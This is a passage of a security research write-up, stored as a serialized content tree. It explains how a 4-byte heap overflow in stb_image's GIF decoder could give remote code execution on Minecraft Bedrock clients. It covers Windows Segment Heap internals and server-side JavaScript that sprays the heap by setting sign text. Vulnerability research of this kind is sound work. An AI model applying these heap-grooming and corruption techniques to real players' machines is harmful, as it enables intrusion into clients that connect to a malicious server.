,153440,153444,153448],{"type":25,"tag":216,"props":153410,"children":153411},{"style":6967},[153412],{"type":31,"value":43244},{"type":25,"tag":216,"props":153414,"children":153415},{"style":6958},[153416],{"type":31,"value":7010},{"type":25,"tag":216,"props":153418,"children":153419},{"style":6947},[153420],{"type":31,"value":24575},{"type":25,"tag":216,"props":153422,"children":153423},{"style":7041},[153424],{"type":31,"value":153425},"stbi__gif_header",{"type":25,"tag":216,"props":153427,"children":153428},{"style":6958},[153429],{"type":31,"value":153430},"(s, g, comp,",{"type":25,"tag":216,"props":153432,"children":153433},{"style":6983},[153434],{"type":31,"value":1876},{"type":25,"tag":216,"props":153436,"children":153437},{"style":6958},[153438],{"type":31,"value":153439},"))     ",{"type":25,"tag":216,"props":153441,"children":153442},{"style":6967},[153443],{"type":31,"value":52420},{"type":25,"tag":216,"props":153445,"children":153446},{"style":6983},[153447],{"type":31,"value":6986},{"type":25,"tag":216,"props":153449,"children":153450},{"style":6958},[153451],{"type":31,"value":6961},{"type":25,"tag":216,"props":153453,"children":153454},{"class":6916,"line":7210},[153455,153460,153464,153468,153472,153477,153481,153485,153490,153494,153498,153502,153506,153510,153514,153518,153522,153526,153530],{"type":25,"tag":216,"props":153456,"children":153457},{"style":6941},[153458],{"type":31,"value":153459},"      g",{"type":25,"tag":216,"props":153461,"children":153462},{"style":6958},[153463],{"type":31,"value":17708},{"type":25,"tag":216,"props":153465,"children":153466},{"style":6941},[153467],{"type":31,"value":122651},{"type":25,"tag":216,"props":153469,"children":153470},{"style":6947},[153471],{"type":31,"value":6950},{"type":25,"tag":216,"props":153473,"children":153474},{"style":6958},[153475],{"type":31,"value":153476}," (stbi_uc ",{"type":25,"tag":216,"props":153478,"children":153479},{"style":6947},[153480],{"type":31,"value":8513},{"type":25,"tag":216,"props":153482,"children":153483},{"style":6958},[153484],{"type":31,"value":7030},{"type":25,"tag":216,"props":153486,"children":153487},{"style":7041},[153488],{"type":31,"value":153489},"stbi__malloc",{"type":25,"tag":216,"props":153491,"children":153492},{"style":6958},[153493],{"type":31,"value":1844},{"type":25,"tag":216,"props":153495,"children":153496},{"style":6983},[153497],{"type":31,"value":21480},{"type":25,"tag":216,"props":153499,"children":153500},{"style":6947},[153501],{"type":31,"value":13767},{"type":25,"tag":216,"props":153503,"children":153504},{"style":6941},[153505],{"type":31,"value":151872},{"type":25,"tag":216,"props":153507,"children":153508},{"style":6958},[153509],{"type":31,"value":17708},{"type":25,"tag":216,"props":153511,"children":153512},{"style":6941},[153513],{"type":31,"value":2464},{"type":25,"tag":216,"props":153515,"children":153516},{"style":6947},[153517],{"type":31,"value":13767},{"type":25,"tag":216,"props":153519,"children":153520},{"style":6941},[153521],{"type":31,"value":151872},{"type":25,"tag":216,"props":153523,"children":153524},{"style":6958},[153525],{"type":31,"value":17708},{"type":25,"tag":216,"props":153527,"children":153528},{"style":6941},[153529],{"type":31,"value":2605},{"type":25,"tag":216,"props":153531,"children":153532},{"style":6958},[153533],{"type":31,"value":7791},{"type":25,"tag":38,"props":153535,"children":153536},{},[153537,153539,153544,153546,153551],{"type":31,"value":153538},"And lastly, to figure out where the OOB bytes are written relative to the allocated buffer, we printed out the address range of ",{"type":25,"tag":82,"props":153540,"children":153542},{"className":153541},[],[153543],{"type":31,"value":152091},{"type":31,"value":153545}," and the value of ",{"type":25,"tag":82,"props":153547,"children":153549},{"className":153548},[],[153550],{"type":31,"value":38},{"type":31,"value":153552}," just before the OOB write happens:",{"type":25,"tag":206,"props":153554,"children":153556},{"code":153555},"g->out address range: [0x75d00d114800, 0x75d00d135800)\n[...]\np: 0x75d00d135800\n",[153557],{"type":25,"tag":82,"props":153558,"children":153559},{"__ignoreMap":7},[153560],{"type":31,"value":153555},{"type":25,"tag":38,"props":153562,"children":153563},{},[153564,153566,153571,153573,153578],{"type":31,"value":153565},"There are multiple within-bound writes to ",{"type":25,"tag":82,"props":153567,"children":153569},{"className":153568},[],[153570],{"type":31,"value":38},{"type":31,"value":153572},", but the last write happens just after the ",{"type":25,"tag":82,"props":153574,"children":153576},{"className":153575},[],[153577],{"type":31,"value":152091},{"type":31,"value":153579}," allocation.",{"type":25,"tag":607,"props":153581,"children":153583},{"id":153582},"summarizing-the-corruption",[153584],{"type":31,"value":153585},"Summarizing the Corruption",{"type":25,"tag":2033,"props":153587,"children":153588},{},[153589,153602,153630],{"type":25,"tag":2037,"props":153590,"children":153591},{},[153592,153594,153600],{"type":31,"value":153593},"A single ",{"type":25,"tag":82,"props":153595,"children":153597},{"className":153596},[],[153598],{"type":31,"value":153599},"0x01",{"type":31,"value":153601}," byte write OOB",{"type":25,"tag":2037,"props":153603,"children":153604},{},[153605,153607],{"type":31,"value":153606},"4-byte OOB write just above the allocated buffer\n",{"type":25,"tag":2033,"props":153608,"children":153609},{},[153610,153615,153625],{"type":25,"tag":2037,"props":153611,"children":153612},{},[153613],{"type":31,"value":153614},"First three bytes are controllable",{"type":25,"tag":2037,"props":153616,"children":153617},{},[153618,153620],{"type":31,"value":153619},"Last byte will be ",{"type":25,"tag":82,"props":153621,"children":153623},{"className":153622},[],[153624],{"type":31,"value":117280},{"type":25,"tag":2037,"props":153626,"children":153627},{},[153628],{"type":31,"value":153629},"Size of the allocation is controlled",{"type":25,"tag":2037,"props":153631,"children":153632},{},[153633,153635],{"type":31,"value":153634},"Both corruptions are done on a short-lived allocation\n",{"type":25,"tag":2033,"props":153636,"children":153637},{},[153638,153643],{"type":25,"tag":2037,"props":153639,"children":153640},{},[153641],{"type":31,"value":153642},"Allocated just before the image-parsing process",{"type":25,"tag":2037,"props":153644,"children":153645},{},[153646],{"type":31,"value":153647},"Freed immediately upon parsing completion",{"type":25,"tag":22747,"props":153649,"children":153650},{},[],{"type":25,"tag":38,"props":153652,"children":153653},{},[153654,153656,153663,153665,153672],{"type":31,"value":153655},"Note that this bug was already found before (",{"type":25,"tag":162,"props":153657,"children":153660},{"href":153658,"rel":153659},"https://github.com/nothings/stb/issues/656",[166],[153661],{"type":31,"value":153662},"Github Issue",{"type":31,"value":153664},") but we missed it at the time. It was later fixed in ",{"type":25,"tag":162,"props":153666,"children":153669},{"href":153667,"rel":153668},"https://github.com/nothings/stb/commit/50b1bfba583b12ceb23ef949567bdd914461e524",[166],[153670],{"type":31,"value":153671},"this commit",{"type":31,"value":179},{"type":25,"tag":26,"props":153674,"children":153675},{"id":9364},[153676],{"type":31,"value":9367},{"type":25,"tag":38,"props":153678,"children":153679},{},[153680],{"type":31,"value":153681},"The memory corruption we had wasn't the easiest to exploit, especially on a remote target with ASLR, but it was the only one we had. We could've looked for another bug for information leaks but that wasn't interesting enough - we wanted to see if we can get RCE from the 4-byte memory corruption alone.",{"type":25,"tag":38,"props":153683,"children":153684},{},[153685],{"type":31,"value":153686},"Obviously four bytes alone aren't enough to get remote code execution in this case, so we looked for ways to turn the overflow into stronger primitives.",{"type":25,"tag":607,"props":153688,"children":153690},{"id":153689},"searching-for-better-primitives",[153691],{"type":31,"value":153692},"Searching for Better Primitives",{"type":25,"tag":38,"props":153694,"children":153695},{},[153696],{"type":31,"value":153697},"The initial idea was to use the 4‑byte OOB to overflow into adjacent heap chunk headers and attack the allocator, but we weren't familiar with Windows allocator internals at the time, so we started investigating.",{"type":25,"tag":38,"props":153699,"children":153700},{},[153701,153703,153710],{"type":31,"value":153702},"We realized that Minecraft uses the Segment Heap - Microsoft's newer heap implementation that is used by the kernel and is the default for packaged / ",{"type":25,"tag":162,"props":153704,"children":153707},{"href":153705,"rel":153706},"https://learn.microsoft.com/en-us/windows/uwp/get-started/universal-application-platform-guide",[166],[153708],{"type":31,"value":153709},"UWP",{"type":31,"value":153711}," applications (such as Minecraft Bedrock Edition).",{"type":25,"tag":607,"props":153713,"children":153715},{"id":153714},"segment-heap",[153716],{"type":31,"value":153717},"Segment Heap",{"type":25,"tag":38,"props":153719,"children":153720},{},[153721,153723,153730],{"type":31,"value":153722},"The internals of this heap implementation have been explored a number of times before (for an example in ",{"type":25,"tag":162,"props":153724,"children":153727},{"href":153725,"rel":153726},"https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Windows-Heap-Backed-Pool-The-Good-The-Bad-And-The-Encoded.pdf",[166],[153728],{"type":31,"value":153729},"this talk",{"type":31,"value":153731}," by Yarden Shafir), so we'll just summarize the two subsegment types relevant to this writeup.",{"type":25,"tag":631,"props":153733,"children":153735},{"id":153734},"low-fragmentation-heap",[153736],{"type":31,"value":153737},"Low Fragmentation Heap",{"type":25,"tag":38,"props":153739,"children":153740},{},[153741,153743,153749],{"type":31,"value":153742},"Low Fragmentation Heap (LFH) services allocations of ",{"type":25,"tag":82,"props":153744,"children":153746},{"className":153745},[],[153747],{"type":31,"value":153748},"0x3ff0",{"type":31,"value":153750}," bytes or less when LFH for that size is enabled. LFH for a given size becomes enabled after 17 consecutive allocations of that size.",{"type":25,"tag":38,"props":153752,"children":153753},{},[153754],{"type":31,"value":153755},"Most importantly for us, chunks allocated in this subsegment do not have per‑chunk headers, and data from two adjacent chunks in LFH is not separated by allocator metadata.",{"type":25,"tag":206,"props":153757,"children":153759},{"code":153758},"              +-------------------------+\nChunk A ----->| 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              +-------------------------+\nChunk B ----->| 42 42 42 42 42 42 42 42 |\n              |                         |\n              | 42 42 42 42 42 42 42 42 |\n              |                         |\n              | 42 42 42 42 42 42 . . . |\n              |                         |\n",[153760],{"type":25,"tag":82,"props":153761,"children":153762},{"__ignoreMap":7},[153763],{"type":31,"value":153758},{"type":25,"tag":38,"props":153765,"children":153766},{},[153767],{"type":31,"value":153768},"This means that the 4‑byte OOB write could overwrite the first four bytes of the next chunk above, allowing us to target heap‑allocated internal structures in Minecraft instead of the allocator - the idea being that we could find a structure that has the first field either a reference count or a length field (for example) which we could directly corrupt with the overflow.",{"type":25,"tag":631,"props":153770,"children":153772},{"id":153771},"variable-size",[153773],{"type":31,"value":153774},"Variable Size",{"type":25,"tag":38,"props":153776,"children":153777},{},[153778,153780,153786,153788,153794],{"type":31,"value":153779},"This subsegment is used for allocation sizes from ",{"type":25,"tag":82,"props":153781,"children":153783},{"className":153782},[],[153784],{"type":31,"value":153785},"0x4000",{"type":31,"value":153787}," and up to ",{"type":25,"tag":82,"props":153789,"children":153791},{"className":153790},[],[153792],{"type":31,"value":153793},"0x20_000",{"type":31,"value":153795},". Unlike LFH, the allocator will store chunk metadata in the headers of the allocated block.",{"type":25,"tag":206,"props":153797,"children":153799},{"code":153798},"                          +-------------------------+\n            Chunk A ----->|  HEAP_VS_CHUNK_HEADER   |\n                          +-------------------------+\nChunk A Data ------------>| 41 41 41 41 41 41 41 41 |\n                          |                         |\n                          | 41 41 41 41 41 41 41 41 |\n                          |                         |\n                          | 41 41 41 41 41 41 41 41 |\n                          +-------------------------+\n            Chunk B ----->|  HEAP_VS_CHUNK_HEADER   |\n                          +-------------------------+\nChunk B Data ------------>| 42 42 42 42 42 42 42 42 |\n                          |                         |\n                          | 42 42 42 42 42 42 42 42 |\n                          |                         |\n                          | 42 42 42 42 42 42 . . . |\n                          |                         |\n",[153800],{"type":25,"tag":82,"props":153801,"children":153802},{"__ignoreMap":7},[153803],{"type":31,"value":153798},{"type":25,"tag":38,"props":153805,"children":153806},{},[153807,153809,153815],{"type":31,"value":153808},"The header, ",{"type":25,"tag":82,"props":153810,"children":153812},{"className":153811},[],[153813],{"type":31,"value":153814},"HEAP_VS_CHUNK_HEADER",{"type":31,"value":153816},", contains information such as block size and allocation status. Crucially, this header is XORed with a secret heap key. That encoding means that, unless the heap key is leaked, faking a chunk header with an overflow is not deterministic.",{"type":25,"tag":22747,"props":153818,"children":153819},{},[],{"type":25,"tag":38,"props":153821,"children":153822},{},[153823],{"type":31,"value":153824},"At this point there were two paths to explore: use the 4‑byte overflow in LFH to target Minecraft structures, or use the overflow in VS to target the allocator.",{"type":25,"tag":38,"props":153826,"children":153827},{},[153828,153830,153837],{"type":31,"value":153829},"Targeting the allocator looked difficult because the VS chunk header is encoded. Fortunately, a ",{"type":25,"tag":162,"props":153831,"children":153834},{"href":153832,"rel":153833},"https://web.archive.org/web/20250117163016/https://labs.bluefrostsecurity.de/blog.html/2022/08/16/windows-segment-heap-attacking-the-vs-allocator/",[166],[153835],{"type":31,"value":153836},"technique published",{"type":31,"value":153838}," by Blue Frost Security describes how to abuse a 3–4 byte overflow in the VS heap to reliably produce overlapping chunks.",{"type":25,"tag":38,"props":153840,"children":153841},{},[153842],{"type":31,"value":153843},"To target Minecraft structures in LFH, we needed to find a heap‑allocated object whose first field could be forged with four bytes (or less) - candidates included a reference counter or a length field. Overwriting such a field could yield a useful primitive (e.g., a use‑after‑free from a corrupted refcount, or a larger overflow / OOB read by corrupting a length field).",{"type":25,"tag":38,"props":153845,"children":153846},{},[153847],{"type":31,"value":153848},"In either case, we needed a way to spray the heap before we could proceed.",{"type":25,"tag":607,"props":153850,"children":153852},{"id":153851},"finding-a-way-to-spray-the-heap",[153853],{"type":31,"value":153854},"Finding a Way to Spray the Heap",{"type":25,"tag":38,"props":153856,"children":153857},{},[153858],{"type":31,"value":153859},"We needed to find an object that the client allocates in response to a server-controlled action. Ideally, the server would be able to control:",{"type":25,"tag":2033,"props":153861,"children":153862},{},[153863,153868,153873,153878],{"type":25,"tag":2037,"props":153864,"children":153865},{},[153866],{"type":31,"value":153867},"The size of the allocation",{"type":25,"tag":2037,"props":153869,"children":153870},{},[153871],{"type":31,"value":153872},"The data written into the allocated buffer",{"type":25,"tag":2037,"props":153874,"children":153875},{},[153876],{"type":31,"value":153877},"The allocation’s lifetime (i.e., allocated and freed through different server actions)",{"type":25,"tag":2037,"props":153879,"children":153880},{},[153881],{"type":31,"value":153882},"The number of created objects (preferably unbounded)",{"type":25,"tag":38,"props":153884,"children":153885},{},[153886],{"type":31,"value":153887},"Not all of these conditions are strictly required, but an object satisfying all of them would be perfect for heap spraying. Eventually, we found exactly what we were looking for.",{"type":25,"tag":631,"props":153889,"children":153891},{"id":153890},"minecraft-signs",[153892],{"type":31,"value":153893},"Minecraft Signs",{"type":25,"tag":38,"props":153895,"children":153896},{},[153897],{"type":31,"value":153898},"A sign is a block in Minecraft that can display arbitrary text. There is effectively no limit to how many signs can exist in a world (aside from resource constraints), and their lifetime is fully controllable: creating a sign results in an allocation, and removing it frees the associated memory.",{"type":25,"tag":38,"props":153900,"children":153901},{},[153902,153904,153910],{"type":31,"value":153903},"What we were specifically interested in was how the client stores the text displayed on a sign. After reversing the client, we found that the text is stored in a ",{"type":25,"tag":82,"props":153905,"children":153907},{"className":153906},[],[153908],{"type":31,"value":153909},"std::string",{"type":31,"value":179},{"type":25,"tag":38,"props":153912,"children":153913},{},[153914,153916,153921],{"type":31,"value":153915},"In Microsoft’s C++ implementation, ",{"type":25,"tag":82,"props":153917,"children":153919},{"className":153918},[],[153920],{"type":31,"value":153909},{"type":31,"value":153922}," is structured roughly as follows:",{"type":25,"tag":206,"props":153924,"children":153926},{"code":153925,"language":2248,"meta":7,"className":20467,"style":7},"struct string\n{\n    union {\n        char* ptr;\n        char buf[16];\n    };\n    size_t size;\n    size_t capacity;\n};\n",[153927],{"type":25,"tag":82,"props":153928,"children":153929},{"__ignoreMap":7},[153930,153941,153948,153960,153976,154000,154007,154018,154030],{"type":25,"tag":216,"props":153931,"children":153932},{"class":6916,"line":6917},[153933,153937],{"type":25,"tag":216,"props":153934,"children":153935},{"style":6930},[153936],{"type":31,"value":13351},{"type":25,"tag":216,"props":153938,"children":153939},{"style":6958},[153940],{"type":31,"value":89009},{"type":25,"tag":216,"props":153942,"children":153943},{"class":6916,"line":6763},[153944],{"type":25,"tag":216,"props":153945,"children":153946},{"style":6958},[153947],{"type":31,"value":14830},{"type":25,"tag":216,"props":153949,"children":153950},{"class":6916,"line":6772},[153951,153956],{"type":25,"tag":216,"props":153952,"children":153953},{"style":6930},[153954],{"type":31,"value":153955},"    union",{"type":25,"tag":216,"props":153957,"children":153958},{"style":6958},[153959],{"type":31,"value":7235},{"type":25,"tag":216,"props":153961,"children":153962},{"class":6916,"line":6999},[153963,153968,153972],{"type":25,"tag":216,"props":153964,"children":153965},{"style":6930},[153966],{"type":31,"value":153967},"        char",{"type":25,"tag":216,"props":153969,"children":153970},{"style":6947},[153971],{"type":31,"value":8513},{"type":25,"tag":216,"props":153973,"children":153974},{"style":6958},[153975],{"type":31,"value":20509},{"type":25,"tag":216,"props":153977,"children":153978},{"class":6916,"line":7104},[153979,153983,153988,153992,153996],{"type":25,"tag":216,"props":153980,"children":153981},{"style":6930},[153982],{"type":31,"value":153967},{"type":25,"tag":216,"props":153984,"children":153985},{"style":6941},[153986],{"type":31,"value":153987}," buf",{"type":25,"tag":216,"props":153989,"children":153990},{"style":6958},[153991],{"type":31,"value":7695},{"type":25,"tag":216,"props":153993,"children":153994},{"style":6983},[153995],{"type":31,"value":44805},{"type":25,"tag":216,"props":153997,"children":153998},{"style":6958},[153999],{"type":31,"value":35530},{"type":25,"tag":216,"props":154001,"children":154002},{"class":6916,"line":7210},[154003],{"type":25,"tag":216,"props":154004,"children":154005},{"style":6958},[154006],{"type":31,"value":42954},{"type":25,"tag":216,"props":154008,"children":154009},{"class":6916,"line":7238},[154010,154014],{"type":25,"tag":216,"props":154011,"children":154012},{"style":6930},[154013],{"type":31,"value":20517},{"type":25,"tag":216,"props":154015,"children":154016},{"style":6958},[154017],{"type":31,"value":128528},{"type":25,"tag":216,"props":154019,"children":154020},{"class":6916,"line":7251},[154021,154025],{"type":25,"tag":216,"props":154022,"children":154023},{"style":6930},[154024],{"type":31,"value":20517},{"type":25,"tag":216,"props":154026,"children":154027},{"style":6958},[154028],{"type":31,"value":154029}," capacity;\n",{"type":25,"tag":216,"props":154031,"children":154032},{"class":6916,"line":7269},[154033],{"type":25,"tag":216,"props":154034,"children":154035},{"style":6958},[154036],{"type":31,"value":20530},{"type":25,"tag":38,"props":154038,"children":154039},{},[154040,154042,154048,154050,154055],{"type":31,"value":154041},"We are primarily interested in the union: ",{"type":25,"tag":82,"props":154043,"children":154045},{"className":154044},[],[154046],{"type":31,"value":154047},"buf",{"type":31,"value":154049}," is used when the string fits within 16 bytes, while ",{"type":25,"tag":82,"props":154051,"children":154053},{"className":154052},[],[154054],{"type":31,"value":17900},{"type":31,"value":154056}," points to a heap-allocated buffer if the string exceeds that size. The allocated buffer contains only the string’s raw bytes.",{"type":25,"tag":38,"props":154058,"children":154059},{},[154060],{"type":31,"value":154061},"This means that for each sign whose text is longer than 16 bytes, the client allocates a heap buffer equal to the string length.",{"type":25,"tag":38,"props":154063,"children":154064},{},[154065],{"type":31,"value":154066},"This makes signs perfect for our needs - we can fully control the allocation size, lifetime, and contents of the heap buffer.",{"type":25,"tag":631,"props":154068,"children":154070},{"id":154069},"spraying-with-server-side-scripting",[154071],{"type":31,"value":154072},"Spraying With Server-Side Scripting",{"type":25,"tag":38,"props":154074,"children":154075},{},[154076],{"type":31,"value":154077},"The simplest way to automatically manipulate the world is through server-side behavior packs. These packs are written in JavaScript and can control many aspects of the server.",{"type":25,"tag":38,"props":154079,"children":154080},{},[154081,154083,154089,154090,154096],{"type":31,"value":154082},"We wrote ",{"type":25,"tag":82,"props":154084,"children":154086},{"className":154085},[],[154087],{"type":31,"value":154088},"alloc",{"type":31,"value":1301},{"type":25,"tag":82,"props":154091,"children":154093},{"className":154092},[],[154094],{"type":31,"value":154095},"free",{"type":31,"value":154097}," helpers that trigger an allocation in the client and free it on demand:",{"type":25,"tag":206,"props":154099,"children":154101},{"code":154100,"language":39572,"meta":7,"className":39570,"style":7},"// Allocate sign text in the client\nfunction alloc(size, fill=\"A\") {\n    for (let sign of signs) {\n        if (sign.allocated || sign.removed) {\n            continue;\n        }\n\n        sign.sign.setText(fill.repeat(size - 1));\n        sign.allocated = true;\n        return sign;\n    }\n\n    console.warn(\"No more allocs\");\n    return undefined;\n}\n\n// Free an allocated sign in the client\nfunction free(sign) {\n    if (sign == undefined || sign.allocated == false) {\n        return;\n    }\n\n    sign.sign.setText(\"\");\n    sign.allocated = false;\n\n    sign.block.setPermutation(\n        BlockPermutation.resolve(\"minecraft:air\")\n    );\n    sign.removed = true;\n}\n",[154102],{"type":25,"tag":82,"props":154103,"children":154104},{"__ignoreMap":7},[154105,154113,154155,154188,154233,154245,154252,154259,154320,154347,154362,154369,154376,154405,154420,154427,154434,154442,154466,154517,154528,154535,154542,154579,154606,154613,154642,154672,154679,154706],{"type":25,"tag":216,"props":154106,"children":154107},{"class":6916,"line":6917},[154108],{"type":25,"tag":216,"props":154109,"children":154110},{"style":6921},[154111],{"type":31,"value":154112},"// Allocate sign text in the client\n",{"type":25,"tag":216,"props":154114,"children":154115},{"class":6916,"line":6763},[154116,154120,154125,154129,154133,154137,154142,154146,154151],{"type":25,"tag":216,"props":154117,"children":154118},{"style":6930},[154119],{"type":31,"value":35333},{"type":25,"tag":216,"props":154121,"children":154122},{"style":7041},[154123],{"type":31,"value":154124}," alloc",{"type":25,"tag":216,"props":154126,"children":154127},{"style":6958},[154128],{"type":31,"value":1844},{"type":25,"tag":216,"props":154130,"children":154131},{"style":6941},[154132],{"type":31,"value":128186},{"type":25,"tag":216,"props":154134,"children":154135},{"style":6958},[154136],{"type":31,"value":7020},{"type":25,"tag":216,"props":154138,"children":154139},{"style":6941},[154140],{"type":31,"value":154141},"fill",{"type":25,"tag":216,"props":154143,"children":154144},{"style":6947},[154145],{"type":31,"value":266},{"type":25,"tag":216,"props":154147,"children":154148},{"style":8199},[154149],{"type":31,"value":154150},"\"A\"",{"type":25,"tag":216,"props":154152,"children":154153},{"style":6958},[154154],{"type":31,"value":18755},{"type":25,"tag":216,"props":154156,"children":154157},{"class":6916,"line":6772},[154158,154162,154166,154170,154175,154179,154184],{"type":25,"tag":216,"props":154159,"children":154160},{"style":6967},[154161],{"type":31,"value":6970},{"type":25,"tag":216,"props":154163,"children":154164},{"style":6958},[154165],{"type":31,"value":7010},{"type":25,"tag":216,"props":154167,"children":154168},{"style":6930},[154169],{"type":31,"value":15737},{"type":25,"tag":216,"props":154171,"children":154172},{"style":6941},[154173],{"type":31,"value":154174}," sign",{"type":25,"tag":216,"props":154176,"children":154177},{"style":6930},[154178],{"type":31,"value":14314},{"type":25,"tag":216,"props":154180,"children":154181},{"style":6941},[154182],{"type":31,"value":154183}," signs",{"type":25,"tag":216,"props":154185,"children":154186},{"style":6958},[154187],{"type":31,"value":18755},{"type":25,"tag":216,"props":154189,"children":154190},{"class":6916,"line":6999},[154191,154195,154199,154204,154208,154213,154217,154221,154225,154229],{"type":25,"tag":216,"props":154192,"children":154193},{"style":6967},[154194],{"type":31,"value":7216},{"type":25,"tag":216,"props":154196,"children":154197},{"style":6958},[154198],{"type":31,"value":7010},{"type":25,"tag":216,"props":154200,"children":154201},{"style":6941},[154202],{"type":31,"value":154203},"sign",{"type":25,"tag":216,"props":154205,"children":154206},{"style":6958},[154207],{"type":31,"value":179},{"type":25,"tag":216,"props":154209,"children":154210},{"style":6941},[154211],{"type":31,"value":154212},"allocated",{"type":25,"tag":216,"props":154214,"children":154215},{"style":6947},[154216],{"type":31,"value":27648},{"type":25,"tag":216,"props":154218,"children":154219},{"style":6941},[154220],{"type":31,"value":154174},{"type":25,"tag":216,"props":154222,"children":154223},{"style":6958},[154224],{"type":31,"value":179},{"type":25,"tag":216,"props":154226,"children":154227},{"style":6941},[154228],{"type":31,"value":136891},{"type":25,"tag":216,"props":154230,"children":154231},{"style":6958},[154232],{"type":31,"value":18755},{"type":25,"tag":216,"props":154234,"children":154235},{"class":6916,"line":7104},[154236,154241],{"type":25,"tag":216,"props":154237,"children":154238},{"style":6967},[154239],{"type":31,"value":154240},"            continue",{"type":25,"tag":216,"props":154242,"children":154243},{"style":6958},[154244],{"type":31,"value":6961},{"type":25,"tag":216,"props":154246,"children":154247},{"class":6916,"line":7210},[154248],{"type":25,"tag":216,"props":154249,"children":154250},{"style":6958},[154251],{"type":31,"value":7296},{"type":25,"tag":216,"props":154253,"children":154254},{"class":6916,"line":7238},[154255],{"type":25,"tag":216,"props":154256,"children":154257},{"emptyLinePlaceholder":16},[154258],{"type":31,"value":7636},{"type":25,"tag":216,"props":154260,"children":154261},{"class":6916,"line":7251},[154262,154267,154271,154275,154279,154284,154288,154292,154296,154300,154304,154308,154312,154316],{"type":25,"tag":216,"props":154263,"children":154264},{"style":6941},[154265],{"type":31,"value":154266},"        sign",{"type":25,"tag":216,"props":154268,"children":154269},{"style":6958},[154270],{"type":31,"value":179},{"type":25,"tag":216,"props":154272,"children":154273},{"style":6941},[154274],{"type":31,"value":154203},{"type":25,"tag":216,"props":154276,"children":154277},{"style":6958},[154278],{"type":31,"value":179},{"type":25,"tag":216,"props":154280,"children":154281},{"style":7041},[154282],{"type":31,"value":154283},"setText",{"type":25,"tag":216,"props":154285,"children":154286},{"style":6958},[154287],{"type":31,"value":1844},{"type":25,"tag":216,"props":154289,"children":154290},{"style":6941},[154291],{"type":31,"value":154141},{"type":25,"tag":216,"props":154293,"children":154294},{"style":6958},[154295],{"type":31,"value":179},{"type":25,"tag":216,"props":154297,"children":154298},{"style":7041},[154299],{"type":31,"value":137141},{"type":25,"tag":216,"props":154301,"children":154302},{"style":6958},[154303],{"type":31,"value":1844},{"type":25,"tag":216,"props":154305,"children":154306},{"style":6941},[154307],{"type":31,"value":128186},{"type":25,"tag":216,"props":154309,"children":154310},{"style":6947},[154311],{"type":31,"value":55218},{"type":25,"tag":216,"props":154313,"children":154314},{"style":6983},[154315],{"type":31,"value":8465},{"type":25,"tag":216,"props":154317,"children":154318},{"style":6958},[154319],{"type":31,"value":11169},{"type":25,"tag":216,"props":154321,"children":154322},{"class":6916,"line":7269},[154323,154327,154331,154335,154339,154343],{"type":25,"tag":216,"props":154324,"children":154325},{"style":6941},[154326],{"type":31,"value":154266},{"type":25,"tag":216,"props":154328,"children":154329},{"style":6958},[154330],{"type":31,"value":179},{"type":25,"tag":216,"props":154332,"children":154333},{"style":6941},[154334],{"type":31,"value":154212},{"type":25,"tag":216,"props":154336,"children":154337},{"style":6947},[154338],{"type":31,"value":6950},{"type":25,"tag":216,"props":154340,"children":154341},{"style":6930},[154342],{"type":31,"value":16419},{"type":25,"tag":216,"props":154344,"children":154345},{"style":6958},[154346],{"type":31,"value":6961},{"type":25,"tag":216,"props":154348,"children":154349},{"class":6916,"line":7290},[154350,154354,154358],{"type":25,"tag":216,"props":154351,"children":154352},{"style":6967},[154353],{"type":31,"value":19696},{"type":25,"tag":216,"props":154355,"children":154356},{"style":6941},[154357],{"type":31,"value":154174},{"type":25,"tag":216,"props":154359,"children":154360},{"style":6958},[154361],{"type":31,"value":6961},{"type":25,"tag":216,"props":154363,"children":154364},{"class":6916,"line":7299},[154365],{"type":25,"tag":216,"props":154366,"children":154367},{"style":6958},[154368],{"type":31,"value":7305},{"type":25,"tag":216,"props":154370,"children":154371},{"class":6916,"line":7551},[154372],{"type":25,"tag":216,"props":154373,"children":154374},{"emptyLinePlaceholder":16},[154375],{"type":31,"value":7636},{"type":25,"tag":216,"props":154377,"children":154378},{"class":6916,"line":7568},[154379,154383,154387,154392,154396,154401],{"type":25,"tag":216,"props":154380,"children":154381},{"style":6941},[154382],{"type":31,"value":35395},{"type":25,"tag":216,"props":154384,"children":154385},{"style":6958},[154386],{"type":31,"value":179},{"type":25,"tag":216,"props":154388,"children":154389},{"style":7041},[154390],{"type":31,"value":154391},"warn",{"type":25,"tag":216,"props":154393,"children":154394},{"style":6958},[154395],{"type":31,"value":1844},{"type":25,"tag":216,"props":154397,"children":154398},{"style":8199},[154399],{"type":31,"value":154400},"\"No more allocs\"",{"type":25,"tag":216,"props":154402,"children":154403},{"style":6958},[154404],{"type":31,"value":7791},{"type":25,"tag":216,"props":154406,"children":154407},{"class":6916,"line":7585},[154408,154412,154416],{"type":25,"tag":216,"props":154409,"children":154410},{"style":6967},[154411],{"type":31,"value":20941},{"type":25,"tag":216,"props":154413,"children":154414},{"style":6930},[154415],{"type":31,"value":43295},{"type":25,"tag":216,"props":154417,"children":154418},{"style":6958},[154419],{"type":31,"value":6961},{"type":25,"tag":216,"props":154421,"children":154422},{"class":6916,"line":7598},[154423],{"type":25,"tag":216,"props":154424,"children":154425},{"style":6958},[154426],{"type":31,"value":7868},{"type":25,"tag":216,"props":154428,"children":154429},{"class":6916,"line":7607},[154430],{"type":25,"tag":216,"props":154431,"children":154432},{"emptyLinePlaceholder":16},[154433],{"type":31,"value":7636},{"type":25,"tag":216,"props":154435,"children":154436},{"class":6916,"line":7630},[154437],{"type":25,"tag":216,"props":154438,"children":154439},{"style":6921},[154440],{"type":31,"value":154441},"// Free an allocated sign in the client\n",{"type":25,"tag":216,"props":154443,"children":154444},{"class":6916,"line":7639},[154445,154449,154454,154458,154462],{"type":25,"tag":216,"props":154446,"children":154447},{"style":6930},[154448],{"type":31,"value":35333},{"type":25,"tag":216,"props":154450,"children":154451},{"style":7041},[154452],{"type":31,"value":154453}," 